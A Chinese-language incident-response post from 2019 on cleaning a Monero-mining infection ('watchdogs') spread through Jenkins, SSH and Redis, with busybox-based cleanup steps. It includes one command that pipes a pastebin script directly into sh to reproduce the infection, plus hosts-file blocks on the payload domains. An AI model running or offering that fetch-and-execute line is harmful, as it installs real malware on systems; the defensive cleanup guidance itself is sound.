背景
从昨日(20190221)中午起, 发现大量测试环境机器和一台线上机器疑似感染挖矿病毒(后来确认的确是门罗币挖矿病毒), 经过一天多的紧急排查, 已基本搞定了该病毒.
该病毒这两天疑似大规模爆发, 已经有几个其他公司的朋友中招, 也在网上看到一些帖子和提问.
下面先贴出梳理后的解决过程, 有时间再附上详细的分析过程.
直观表现
- top, ps -ef 无异常进程
- load average 稳步飙升
- netstat 命令被删除
- 尝试建立大量22端口, 6379端口的内网连接
- crontab 被添加定时挖矿脚本, 删除无效
传播途径
- Jenkins漏洞(or 弱密码?)侵入
- 尝试root用户ssh的免密登录
- 尝试redis内网登录
准备过程
获取busybox
因感染病毒后, ls等系统命令会被劫持, 需要busybox替代这些系统命令, 下面提供从busybox官方docker镜像中提取的静态编译版busybox过程.
docker run --rm -itv /tmp/:/tmp busybox:uclibc
cp /bin/busybox /tmp
exit
宿主机即获取到: /tmp/busybox
复现感染过程(docker环境被root感染模式)
docker与虚拟机环境有区别, 病毒行为会受限
docker run --rm -it -v /tmp:/tmp centos:latest
yum install -y crontabs lsof e2fsprogs
(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
使用busybox代替系统命令
busybox top, busybox ps -ef
此busybox为静态编译版, 不依赖so库, 系统的ls等命令已被通过so库的preload机制被病毒劫持, ls会导致/etc/cron.d/root文件被刷写为病毒定时执行命令.
发现比系统命令多两个进程(进程个数跟cpu核数有关), 耗尽了所有cpu资源
/tmp/ksoftirqds
/tmp/watchdogs
查杀过程(系统命令已不可信, 操作优先采用busybox)
关闭crontab
systemctl stop crond
阻断内网传播
上面提到, 该病毒会通过jenkins漏洞, ssh免密登录, redis免密or弱密码远程执行等方式传播, 在对机器杀毒的过程中, 首先更改相应端口, 避免被内网其它机器二次感染.
上传busybox
chmod +x busybox && mv busybox /sbin/
写hosts, 屏蔽病毒脚本下载
busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts
删除，创建，并锁定 crontab相关文件
busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i /var/spool/cron/root
busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root
busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root
备份重要的crontab，然后删除cron.d目录的其他文件
busybox rm -rf /etc/cron.d/*
检查并删除下面目录有异常文件
busybox ls /etc/cron.daily
busybox ls /etc/cron.hourly
busybox ls /etc/cron.monthly
busybox ls /etc/cron.weekly
删除病毒相关执行文件和启动脚本
/busybox rm /sbin/watchdogs
/busybox rm /usr/sbin/watchdogs
/busybox rm /etc/init.d/watchdogs
busybox find / -type f -name '*watchdogs*'|busybox xargs rm -f
删除病毒进程
busybox pkill watchdogs
busybox pkill ksoftirqds
删除被preload的so库
busybox rm /usr/local/lib/libioset.so
busybox rm /etc/ld.so.preload
busybox rm /etc/ld.so.cache
验证libioset.so被卸载
lsof |grep usr/local/lib/libioset.so
无输出, 则该动态链接库被卸载, 直接执行验证步骤;
有输出, kill掉占用的进程, 重复执行该步骤;
若反复执行后无法成功卸载该动态链接库, 请执行服务器重启操作.
重启服务器
验证步骤
busybox top # 查看系统负载
crontab -l # 查看是否还有异常任务
busybox chattr -i /etc/cron.d/root # 过一段时间查看是否有异常任务写入